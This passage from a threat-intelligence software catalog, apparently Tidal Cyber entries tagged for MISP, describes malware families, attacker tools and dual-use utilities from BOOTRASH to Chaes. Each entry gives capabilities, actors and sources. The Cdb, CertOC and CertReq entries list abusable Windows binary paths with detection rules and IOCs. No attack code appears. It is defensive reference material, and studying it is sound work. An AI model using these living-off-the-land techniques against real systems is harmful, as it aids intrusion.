[Bootkit](https://app.tidalcyber.com/technique/032985de-5e09-4889-b8c4-84d940c6346c) that targets Windows operating systems. It has been used by threat actors that target the financial sector.^{[[Mandiant M Trends 2016](https://app.tidalcyber.com/references/f769a3ac-4330-46b7-bed8-61697e22cd24)]}^{[[FireEye Bootkits](https://app.tidalcyber.com/references/585827a8-1f03-439d-b66e-ad5290117c1b)]}^{[[FireEye BOOTRASH SANS](https://app.tidalcyber.com/references/835c9e5d-b291-43d9-9b8a-2978aa8c8cd3)]}

The tag is: *misp-galaxy:software="BOOTRASH"*

BoxCaon

[BoxCaon](https://app.tidalcyber.com/software/d3e46011-3433-426c-83b3-61c2576d5f71) is a Windows backdoor that was used by [IndigoZebra](https://app.tidalcyber.com/groups/988f5312-834e-48ea-93b7-e6e01ee0938d) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://app.tidalcyber.com/software/d3e46011-3433-426c-83b3-61c2576d5f71)'s name stems from similarities shared with the malware family [xCaon]([Checkpoint IndigoZebra July 2021](https://app.tidalcyber.com/references/cf4a8c8c-eab1-421f-b313-344aed03b42d)]</sup>

The tag is: *misp-galaxy:software="BoxCaon"*

BPFDoor

[BPFDoor](https://app.tidalcyber.com/software/1c75c6dc-7b74-5b15-ae9a-59f9cc98e662) is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, [BPFDoor](https://app.tidalcyber.com/software/1c75c6dc-7b74-5b15-ae9a-59f9cc98e662) is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. [BPFDoor](https://app.tidalcyber.com/software/1c75c6dc-7b74-5b15-ae9a-59f9cc98e662) supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.^{[[Sandfly BPFDoor 2022](https://app.tidalcyber.com/references/01c8337f-614b-5f63-870f-5c880b390922)]}^{[[Deep Instinct BPFDoor 2023](https://app.tidalcyber.com/references/c246b4da-75fb-5b41-ba9c-c0eb1b261e37)]}

The tag is: *misp-galaxy:software="BPFDoor"*

Brave Prince

[Brave Prince](https://app.tidalcyber.com/software/51b27e2c-c737-4006-a657-195ea1a1f4f0) is a Korean-language implant that was first observed in the wild in December 2017. It contains similar code and behavior to [Gold Dragon](https://app.tidalcyber.com/software/348fdeb5-6a74-4803-ac6e-e0133ecd7263), and was seen along with [Gold Dragon](https://app.tidalcyber.com/software/348fdeb5-6a74-4803-ac6e-e0133ecd7263) and [RunningRAT](https://app.tidalcyber.com/software/e8afda1f-fa83-4fc3-b6fb-7d5daca7173f) in operations surrounding the 2018 Pyeongchang Winter Olympics. ^{[[McAfee Gold Dragon](https://app.tidalcyber.com/references/4bdfa92b-cbbd-43e6-aa3e-422561ff8d7a)]}

The tag is: *misp-galaxy:software="Brave Prince"*

Briba

[Briba](https://app.tidalcyber.com/software/7942783c-73a7-413c-94d1-8981029a1c51) is a trojan used by [Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) to open a backdoor and download files on to compromised hosts. ^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]} ^{[[Symantec Briba May 2012](https://app.tidalcyber.com/references/bcf0f82b-1b26-4c0c-905e-0dd8b88d0903)]}

The tag is: *misp-galaxy:software="Briba"*

BrickStorm

BrickStorm is a Go backdoor targeting VMware vCenter servers. It supports the ability to set itself up as a web server, perform file system and directory manipulation, perform file operations such as upload/download, run shell commands, and perform SOCKS relaying. BrickStorm communicates over WebSockets to a hard-coded C2.^{[[Google Cloud April 4 2024](/references/5179ba93-fab1-48b9-81e7-c9a79cf9402f)]}

The tag is: *misp-galaxy:software="BrickStorm"*

Brute Ratel C4

[Brute Ratel C4](https://app.tidalcyber.com/software/23043b44-69a6-5cdf-8f60-5a68068680c7) is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. [Brute Ratel C4](https://app.tidalcyber.com/software/23043b44-69a6-5cdf-8f60-5a68068680c7) was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of [Brute Ratel C4](https://app.tidalcyber.com/software/23043b44-69a6-5cdf-8f60-5a68068680c7) was leaked in the cybercriminal underground, leading to its use by threat actors.^{[[Dark Vortex Brute Ratel C4](https://app.tidalcyber.com/references/47992cb5-df11-56c2-b266-6f58d75f8315)]}^{[[Palo Alto Brute Ratel July 2022](https://app.tidalcyber.com/references/a9ab0444-386b-5baf-84e1-0e6df4a21296)]}^{[[MDSec Brute Ratel August 2022](https://app.tidalcyber.com/references/dfd12595-0056-5b4a-b753-624fac1bb3a6)]}^{[[SANS Brute Ratel October 2022](https://app.tidalcyber.com/references/9544e762-6f72-59e7-8384-5bbef13bfe96)]}^{[[Trend Micro Black Basta October 2022](https://app.tidalcyber.com/references/6e4a1565-4a30-5a6b-961c-226a6f1967ae)]}

The tag is: *misp-galaxy:software="Brute Ratel C4"*

BS2005

[BS2005](https://app.tidalcyber.com/software/c9e773de-0213-4b64-83fb-637060c8b5ed) is malware that was used by [Ke3chang](https://app.tidalcyber.com/groups/26c0925f-1a3c-4df6-b27a-62b9731299b8) in spearphishing campaigns since at least 2011. <sup>[[Mandiant Operation Ke3chang November 2014](https://app.tidalcyber.com/references/bb45cf96-ceae-4f46-a0f5-

08cd89f699c9)]</sup>

The tag is: *misp-galaxy:software="BS2005"*

BUBBLEWRAP

[BUBBLEWRAP](https://app.tidalcyber.com/software/2be4e3d2-e8c5-4406-8041-2c17bdb3a547) is a full-featured, second-stage backdoor used by the [admin@338](https://app.tidalcyber.com/groups/8567136b-f84a-45ed-8cce-46324c7da60e) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities.^{[[FireEye admin@338](https://app.tidalcyber.com/references/f3470275-9652-440e-914d-ad4fc5165413)]}

The tag is: *misp-galaxy:software="BUBBLEWRAP"*

build_downer

[build_downer](https://app.tidalcyber.com/software/c21d3e6c-0f6d-44a8-bdd5-5b3180a641c9) is a downloader that has been used by [BRONZE BUTLER](https://app.tidalcyber.com/groups/5825a840-5577-4ffc-a08d-3f48d64395cb) since at least 2019.^{[[Trend Micro Tick November 2019](https://app.tidalcyber.com/references/93adbf0d-5f5e-498e-aca1-ed3eb11561e7)]}

The tag is: *misp-galaxy:software="build_downer"*

Bumblebee

[Bumblebee](https://app.tidalcyber.com/software/cc155181-fb34-4aaf-b083-b7b57b140b7a) is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. [Bumblebee](https://app.tidalcyber.com/software/cc155181-fb34-4aaf-b083-b7b57b140b7a) has been linked to ransomware operations including [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5), Quantum, and Mountlocker and derived its name from the appearance of "bumblebee" in the user-agent.^{[[Google EXOTIC LILY March 2022](https://app.tidalcyber.com/references/19d2cb48-bdb2-41fe-ba24-0769d7bd4d94)]}^{[[Proofpoint Bumblebee April 2022](https://app.tidalcyber.com/references/765b0ce9-7305-4b35-b5be-2f6f42339646)]}^{[[Symantec Bumblebee June 2022](https://app.tidalcyber.com/references/81bfabad-b5b3-4e45-ac1d-1e2e829fca33)]}

The tag is: *misp-galaxy:software="Bumblebee"*

Bundlore

[Bundlore](https://app.tidalcyber.com/software/e9873bf1-9619-4c62-b4cf-1009e83de186) is adware written for macOS that has been in use since at least 2015. Though categorized as adware, [Bundlore](https://app.tidalcyber.com/software/e9873bf1-9619-4c62-b4cf-1009e83de186) has many features associated with more traditional backdoors.^{[[MacKeeper Bundlore Apr 2019](https://app.tidalcyber.com/references/4d631c9a-4fd5-43a4-8b78-4219bd371e87)]}

The tag is: *misp-galaxy:software="Bundlore"*

BUSHWALK

[BUSHWALK](https://app.tidalcyber.com/software/44ed9567-2cb6-590e-b332-154557fb93f9) is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during [Cutting Edge]([Mandiant Cutting Edge Part 2 January 2024 (https://app.tidalcyber.com/references/5209d259-4293-58c0-bbdc-f30ff77d57f7)]</sup>^{[[Mandiant Cutting Edge Part 3 February 2024](https://app.tidalcyber.com/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:software="BUSHWALK"*

BusyBox

BusyBox is an open-source software suite that provides several Unix utilities in a single executable file that was initially released in November 1999. It combines tiny versions of many common UNIX utilities into a single small executable and provides a fairly complete environment for small or embedded system. The author's had dubbed it as "The Swiss Army Knife of Embedded Linux" and as single executable replaces basic functions of more than 400 common commands.Threat actors might misuse and try to upload this on Internet of Things (IOT) devices to facilitate further compromise.^{[[Busybox.net September 27 2024](/references/ae614b34-2fd8-4fc3-9b19-d2f6b635d7da)]}

The tag is: *misp-galaxy:software="BusyBox"*

Cachedump

[Cachedump](https://app.tidalcyber.com/software/7c03fb92-3cd8-4ce4-a1e0-75e47465e4bc) is a publicly-available tool that program extracts cached password hashes from a system's registry. ^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}

The tag is: *misp-galaxy:software="Cachedump"*

CACTUS Ransomware

This Software object reflects the TTPs associated with the CACTUS ransomware binary, a malware that researchers believe has been used since at least March 2023.^{[[Kroll CACTUS Ransomware May 10 2023](/references/f50de2f6-465f-4cae-a79c-cc135ebfee4f)]} Other pre- and post-exploit TTPs associated with threat actors known to deploy CACTUS can be found in the separate dedicated Group object.

The tag is: *misp-galaxy:software="CACTUS Ransomware"*

CaddyWiper

[CaddyWiper](https://app.tidalcyber.com/software/62d0ddcd-790d-4d2d-9d94-276f54b40cf0) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022.^{[[ESET CaddyWiper March 2022](https://app.tidalcyber.com/references/9fa97444-311f-40c1-8728-c5f91634c750)]}^{[[Cisco CaddyWiper March 2022](https://app.tidalcyber.com/references/88fc1f96-2d55-4c92-a929-234248490c30)]}

The tag is: *misp-galaxy:software="CaddyWiper"*

Cadelspy

[Cadelspy](https://app.tidalcyber.com/software/c8a51b39-6906-4381-9bb4-4e9e612aa085) is a backdoor that has been used by [APT39]([Symantec Chafer Dec 2015(https://app.tidalcyber.com/references/0a6166a3-5649-4117-97f4-7b8b5b559929)]</sup>

The tag is: *misp-galaxy:software="Cadelspy"*

CALDERA

According to its website, "Caldera™ is a cybersecurity framework developed by MITRE that empowers cyber practitioners to save time, money, and energy through automated security assessments". Various "plugins" are available that users can enable to expand the framework's core capabilities.^{[[MITRE Caldera™ Website](/references/b240db4f-8826-49f9-951b-72f37e3be3a7)]}

The tag is: *misp-galaxy:software="CALDERA"*

CALENDAR

[CALENDAR](https://app.tidalcyber.com/software/ad859a79-c183-44f6-a89a-f734710672a9) is malware used by [APT1](https://app.tidalcyber.com/groups/5307bba1-2674-4fbd-bfd5-1db1ae06fc5f) that mimics legitimate Gmail Calendar traffic. ^{[[Mandiant APT1](https://app.tidalcyber.com/references/865eba93-cf6a-4e41-bc09-de9b0b3c2669)]}

The tag is: *misp-galaxy:software="CALENDAR"*

Calisto

[Calisto](https://app.tidalcyber.com/software/6b5b408c-4f9d-4137-bfb1-830d12e9736c) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://app.tidalcyber.com/software/6b5b408c-4f9d-4137-bfb1-830d12e9736c) is believed to have first been developed in 2016. ^{[[Securelist Calisto July 2018](https://app.tidalcyber.com/references/a292d77b-9150-46ea-b217-f51e091fdb57)]} ^{[[Symantec Calisto July 2018](https://app.tidalcyber.com/references/cefef3d8-94f5-4d94-9689-6ed38702454f)]}

The tag is: *misp-galaxy:software="Calisto"*

CallMe

[CallMe](https://app.tidalcyber.com/software/352ee271-89e6-4d3f-9c26-98dbab0e2986) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. ^{[[Scarlet Mimic Jan 2016](https://app.tidalcyber.com/references/f84a5b6d-3af1-45b1-ac55-69ceced8735f)]}

The tag is: *misp-galaxy:software="CallMe"*

Cannon

[Cannon](https://app.tidalcyber.com/software/790e931d-2571-496d-9f48-322774a7d482) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. ^{[[Unit42 Cannon Nov 2018](https://app.tidalcyber.com/references/8c634bbc-4878-4b27-aa18-5996ec968809)]}^{[[Unit42 Sofacy Dec 2018](https://app.tidalcyber.com/references/540c4c33-d4c2-4324-94cd-f57646666e32)]}

The tag is: *misp-galaxy:software="Cannon"*

Carbanak

[Carbanak](https://app.tidalcyber.com/software/4cb9294b-9e4c-41b9-b640-46213a01952d) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://app.tidalcyber.com/groups/72d9bea7-9ca1-43e6-8702-2fb7fb1355de)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. ^{[[Kaspersky Carbanak](https://app.tidalcyber.com/references/2f7e77db-fe39-4004-9945-3c8943708494)]} ^{[[FireEye CARBANAK June 2017](https://app.tidalcyber.com/references/39105492-6044-460c-9dc9-3d4473ee862e)]}

The tag is: *misp-galaxy:software="Carbanak"*

Carberp

[Carberp](https://app.tidalcyber.com/software/df9491fd-5e24-4548-8e21-1268dce59d1f) is a credential and information stealing malware that has been active since at least 2009. [Carberp](https://app.tidalcyber.com/software/df9491fd-5e24-4548-8e21-1268dce59d1f)'s source code was leaked online in 2013, and subsequently used as the foundation for the [Carbanak](https://app.tidalcyber.com/software/4cb9294b-9e4c-41b9-b640-46213a01952d) backdoor.^{[[Trend Micro Carberp February 2014](https://app.tidalcyber.com/references/069e458f-d780-47f9-8ebe-21b195fe9b33)]}^{[[KasperskyCarbanak](https://app.tidalcyber.com/references/053a2bbb-5509-4aba-bbd7-ccc3d8074291)]}^{[[RSA Carbanak November 2017](https://app.tidalcyber.com/references/eb947d49-26f4-4104-8296-1552a273c9c3)]}

The tag is: *misp-galaxy:software="Carberp"*

Carbon

[Carbon](https://app.tidalcyber.com/software/61f5d19c-1da2-43d1-ab20-51eacbca71f2) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://app.tidalcyber.com/software/61f5d19c-1da2-43d1-ab20-51eacbca71f2) has been selectively used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) to target government and foreign affairs-related organizations in Central Asia.^{[[ESET Carbon Mar 2017](https://app.tidalcyber.com/references/5d2a3a81-e7b7-430d-b748-b773f89d3c77)]}^{[[Securelist Turla Oct 2018](https://app.tidalcyber.com/references/5b08ea46-e25d-4df9-9b91-f8e7a1d5f7ee)]}

The tag is: *misp-galaxy:software="Carbon"*

Cardinal RAT

[Cardinal RAT](https://app.tidalcyber.com/software/fa23acef-3034-43ee-9610-4fc322f0d80b) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://app.tidalcyber.com/software/fa23acef-3034-43ee-9610-4fc322f0d80b) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.^{[[PaloAlto CardinalRat Apr 2017](https://app.tidalcyber.com/references/8d978b94-75c9-46a1-812a-bafe3396eda9)]}

The tag is: *misp-galaxy:software="Cardinal RAT"*

CARROTBALL

[CARROTBALL](https://app.tidalcyber.com/software/84bb4068-b441-435e-8535-02a458ffd50b) is an FTP downloader utility that has been in use since at least 2019. [CARROTBALL](https://app.tidalcyber.com/software/84bb4068-b441-435e-8535-02a458ffd50b) has been used as a downloader to install [SYSCON]([Unit 42 CARROTBAT January 2020 (https://app.tidalcyber.com/references/b65442ca-18ca-42e0-8be0-7c2b66c26d02)]</sup>

The tag is: *misp-galaxy:software="CARROTBALL"*

CARROTBAT

[CARROTBAT](https://app.tidalcyber.com/software/aefa893d-fc6e-41a9-8794-2700049db9e5) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://app.tidalcyber.com/software/aefa893d-fc6e-41a9-8794-2700049db9e5) has been used to install [SYSCON](https://app.tidalcyber.com/software/ea556a8d-4959-423f-a2dd-622d0497d484) and has infrastructure overlap with [KONNI]([Unit 42 CARROTBAT November 2018 (https://app.tidalcyber.com/references/6986a64a-5fe6-4697-b70b-79cccaf3d730)]</sup>^{[[Unit 42 CARROTBAT January 2020](https://app.tidalcyber.com/references/b65442ca-18ca-42e0-8be0-7c2b66c26d02)]}

The tag is: *misp-galaxy:software="CARROTBAT"*

CASTLETAP

CASTLETAP is a passive backdoor that listens for a specialized ICMP packet for activation.^{[[Mandiant Fortinet Zero Day](/references/7bdc5bbb-ebbd-5eb8-bd10-9087c883aea7)]}

The tag is: *misp-galaxy:software="CASTLETAP"*

cat

cat is a standard Unix utility that reads files sequentially, writing them to standard output. The name is derived from its function to concatenate files. It has been ported to a number of operating systems.^{[[Wikimedia Foundation Inc. May 3 2003](/references/fc7bbaac-b10a-4cc2-aa69-cc717b91aa44)]}

The tag is: *misp-galaxy:software="cat"*

Catchamas

[Catchamas](https://app.tidalcyber.com/software/04deccb5-9850-45c3-a900-5d7039a94190) is a Windows Trojan that steals information from compromised systems. ^{[[Symantec Catchamas April 2018](https://app.tidalcyber.com/references/155cc2df-adf4-4b5f-a377-272947e5757e)]}

The tag is: *misp-galaxy:software="Catchamas"*

Caterpillar WebShell

[Caterpillar WebShell](https://app.tidalcyber.com/software/ee88afaa-88bc-4c20-906f-332866388549) is a self-developed Web Shell tool created by the group [Volatile Cedar]([ClearSky Lebanese Cedar Jan 2021(https://app.tidalcyber.com/references/53944d48-caa9-4912-b42d-94a3789ed15b)]</sup>

The tag is: *misp-galaxy:software="Caterpillar WebShell"*

CBROVER

CBROVER is a first-stage backdoor, one of a series of software associated with China-based espionage actor Earth Preta (aka Mustang Panda) reported by researchers in September 2024.^{[[Trend Micro September 9 2024](/references/0fdc9ee2-5be2-43e0-afb9-c9a94fde3867)]}

The tag is: *misp-galaxy:software="CBROVER"*

CC-Attack

CC-Attack is a publicly available script that automates the use of open, external proxy servers as part of denial of service flood attacks. Its use has been promoted among the members of the Killnet hacktivist collective.<sup>[[Flashpoint Glossary Killnet](/references/502cc03b-350b-4e2d-9436-

364c43a0a203)]</sup>

The tag is: *misp-galaxy:software="CC-Attack"*

CCBkdr

[CCBkdr](https://app.tidalcyber.com/software/4eb0720c-7046-4ff1-adfd-ae603506e499) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. ^{[[Talos CCleanup 2017](https://app.tidalcyber.com/references/f2522cf4-dc65-4dc5-87e3-9e88212fcfe9)]} ^{[[Intezer Aurora Sept 2017](https://app.tidalcyber.com/references/b2999bd7-50d5-4d49-8893-8c0903d49104)]}

The tag is: *misp-galaxy:software="CCBkdr"*

ccf32

[ccf32](https://app.tidalcyber.com/software/e00c2a0c-bbe5-4eff-b0ad-b2543456a317) is data collection malware that has been used since at least February 2019, most notably during the [FunnyDream](https://app.tidalcyber.com/campaigns/94587edf-0292-445b-8c66-b16629597f1e) campaign; there is also a similar x64 version.^{[[Bitdefender FunnyDream Campaign November 2020](https://app.tidalcyber.com/references/b62a9f2c-02ca-4dfa-95fc-5dc6ad9568de)]}

The tag is: *misp-galaxy:software="ccf32"*

cd00r

[cd00r](https://app.tidalcyber.com/software/65ea5aeb-36c1-5ce1-a4ef-01167ab659ca) is an open-source backdoor for UNIX and UNIX-variant operating systems that was orginally released in 2000. [cd00r](https://app.tidalcyber.com/software/65ea5aeb-36c1-5ce1-a4ef-01167ab659ca) source code is primarily based on a packet-capturing program as it utilizes a sniffer to listen for specific sequences of network traffic or "secret knock" before executing the attacker's code.^{[[Hartrell cd00r 2002](https://app.tidalcyber.com/references/739e6517-10f5-484d-8000-8818d63e7341)]}^{[[Lumen J-Magic JAN 2025](https://app.tidalcyber.com/references/50764afc-4d2e-54a1-8d24-2128fc91a5d3)]}

The tag is: *misp-galaxy:software="cd00r"*

Cdb

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Debugging tool included with Windows Debugging Tools.

Author: Oddvar Moe

Paths: * C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe * C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe

Resources: * http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html * https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options * https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda * https://mrd0x.com/the-power-of-cdb-debugging-tool/ * https://twitter.com/nas_bench/status/1534957360032120833

Detection: * Sigma: [proc_creation_win_lolbin_cdb.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_cdb.yml) * Elastic: [defense_evasion_unusual_process_network_connection.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml) * Elastic: [defense_evasion_network_connection_from_windows_binary.toml](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml) * BlockRule: [https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules]([Cdb.exe - LOLBAS Project(/references/e61b035f-6247-47e3-918c-2892815dfddf)]</sup>

The tag is: *misp-galaxy:software="Cdb"*

CDumper

A credential dumping tool associated with Iran-linked espionage group OilRig.^{[[ESET OilRig September 21 2023](/references/21ee3e95-ac4b-48f7-b948-249e1884bc96)]}

The tag is: *misp-galaxy:software="CDumper"*

CertOC

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used for installing certificates

Author: Ensar Samil

Paths: * c:\windows\system32\certoc.exe * c:\windows\syswow64\certoc.exe

Resources: * [https://twitter.com/sblmsrsn/status/1445758411803480072?s=20](https://twitter.com/

sblmsrsn/status/1445758411803480072?s=20) * https://twitter.com/sblmsrsn/status/1452941226198671363?s=20

Detection: * Sigma: [proc_creation_win_certoc_load_dll.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml) * IOC: Process creation with given parameter * IOC: Unsigned DLL load via certoc.exe * IOC: Network connection via certoc.exe^{[[CertOC.exe - LOLBAS Project](/references/b906498e-2773-419b-8c6d-3e974925ac18)]}

The tag is: *misp-galaxy:software="CertOC"*

CertReq

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used for requesting and managing certificates

Author: David Middlehurst

Paths: * C:\Windows\System32\certreq.exe * C:\Windows\SysWOW64\certreq.exe

Resources: * https://dtm.uk/certreq

Detection: * Sigma: [proc_creation_win_lolbin_susp_certreq_download.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_certreq_download.yml) * IOC: certreq creates new files * IOC: certreq makes POST requests^{[[CertReq.exe - LOLBAS Project](/references/be446484-8ecc-486e-8940-658c147f6978)]}

The tag is: *misp-galaxy:software="CertReq"*

certutil

[certutil](https://app.tidalcyber.com/software/2fe21578-ee31-4ee8-b6ab-b5f76f97d043) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. ^{[[TechNet Certutil](https://app.tidalcyber.com/references/8d095aeb-c72c-49c1-8482-dbf4ce9203ce)]}

The tag is: *misp-galaxy:software="certutil"*

Chaes

[Chaes](https://app.tidalcyber.com/software/0c8efcd0-bfdf-4771-8754-18aac836c359) is a multistage information stealer written in several programming languages that collects login credentials, credit card numbers, and other financial information. [Chaes](https://app.tidalcyber.com/software/

0c8efcd0-bfdf-4771-8754-18aac836c359) was first observed in 2020, and appears to primarily target victims in Brazil as well as other e-commerce customers in Latin America.^{[[Cybereason Chaes Nov 2020](https://app.tidalcyber.com/references/aaefa162-82a8-4b6d-b7be-fd31fafd9246)]}

The tag is: *misp-galaxy:software="Chaes"*

ChainLine

ChainLine is a Python web shell backdoor that is embedded in a Ivanti Connect Secure Python package that enables arbitrary command execution.^{[[Mandiant Cutting Edge Part 2 January 2024](/references/5209d259-4293-58c0-bbdc-f30ff77d57f7)]}

The tag is: *misp-galaxy:software="ChainLine"*

Chaos

[Chaos](https://app.tidalcyber.com/software/92c88765-6b12-42cd-b1d7-f6a65b2236e2) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. ^{[[Chaos Stolen Backdoor](https://app.tidalcyber.com/references/8e6916c1-f102-4b54-b6a5-a58fed825c2e)]}

The tag is: *misp-galaxy:software="Chaos"*

CharmPower

[CharmPower](https://app.tidalcyber.com/software/b1e3b56f-2e83-4cab-a1c1-16999009d056) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://app.tidalcyber.com/groups/7a9d653c-8812-4b96-81d1-b0a27ca918b4) since at least 2022.^{[[Check Point APT35 CharmPower January 2022](https://app.tidalcyber.com/references/81dce660-93ea-42a4-902f-0c6021d30f59)]}

The tag is: *misp-galaxy:software="CharmPower"*

ChChes

[ChChes](https://app.tidalcyber.com/software/3f2283ef-67c2-49a3-98ac-1aa9f0499361) is a Trojan that appears to be used exclusively by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. ^{[[Palo Alto menuPass Feb 2017](https://app.tidalcyber.com/references/ba4f7d65-73ec-4726-b1f6-f2443ffda5e7)]} ^{[[JPCERT ChChes Feb 2017](https://app.tidalcyber.com/references/657b43aa-ead2-41d3-911a-d714d9b28e19)]} ^{[[PWC Cloud Hopper Technical Annex April 2017](https://app.tidalcyber.com/references/da6c8a72-c732-44d5-81ac-427898706eed)]}

The tag is: *misp-galaxy:software="ChChes"*

chcon

The chcon command in Linux is used to change the SELinux (Security-Enhanced Linux) context of a file or directory. SELinux uses a security context, which includes labels like user, role, type, and level, to enforce access controls. The chcon command allows users to modify these labels.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}

The tag is: *misp-galaxy:software="chcon"*

Checkmarks

An automated system used by the FIN7 group to discover vulnerable Exchange servers and gain access to victims' networks using web shells.^{[[SBS CyberSecurity January 3 2023](/references/e288c08c-b89f-41dd-bcca-b7a38723d83b)]}

The tag is: *misp-galaxy:software="Checkmarks"*

Cheerscrypt

[Cheerscrypt](https://app.tidalcyber.com/software/6475bc8c-b95d-5cb3-92f0-aa7e2f18859a) is a ransomware that was developed by [Cinnamon Tempest](https://app.tidalcyber.com/groups/8e059c6b-d278-5454-a234-a8ad69feb66c) and has been used in attacks against ESXi and Windows environments since at least 2022. [Cheerscrypt](https://app.tidalcyber.com/software/6475bc8c-b95d-5cb3-92f0-aa7e2f18859a) was derived from the leaked [Babuk](https://app.tidalcyber.com/software/0dc07eb9-66df-4116-b1bc-7020ca6395a1) source code and has infrastructure overlaps with deployments of Night Sky ransomware, which was also derived from [Babuk]([Sygnia Emperor Dragonfly October 2022(https://app.tidalcyber.com/references/f9e40a71-c963-53de-9266-13f9f326c5bf)]</sup>^{[[Trend Micro Cheerscrypt May 2022](https://app.tidalcyber.com/references/ca7ccf2c-37f3-522a-acfb-09daa16e23d8)]}

The tag is: *misp-galaxy:software="Cheerscrypt"*

Cherry Picker

[Cherry Picker](https://app.tidalcyber.com/software/2fd6f564-918e-4ee7-920a-2b4be858d11a) is a point of sale (PoS) memory scraper. ^{[[Trustwave Cherry Picker](https://app.tidalcyber.com/references/e09f639e-bdd3-4e88-8032-f665e347272b)]}

The tag is: *misp-galaxy:software="Cherry Picker"*

CHIMNEYSWEEP

[CHIMNEYSWEEP](https://app.tidalcyber.com/software/966f4b5c-e5f3-598e-9ac0-a5174c56827b) is a backdoor malware that was deployed during [HomeLand Justice](https://app.tidalcyber.com/campaigns/04329c95-d792-5333-b5bc-13ef2c545d7b) along with [ROADSWEEP](https://app.tidalcyber.com/software/5452ec27-0deb-5f29-bed9-5ee838040438)

ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.^{[[Mandiant ROADSWEEP August 2022](https://app.tidalcyber.com/references/0d81ec58-2e12-5824-aa53-feb0d2260f30)]}

The tag is: *misp-galaxy:software="CHIMNEYSWEEP"*

China Chopper

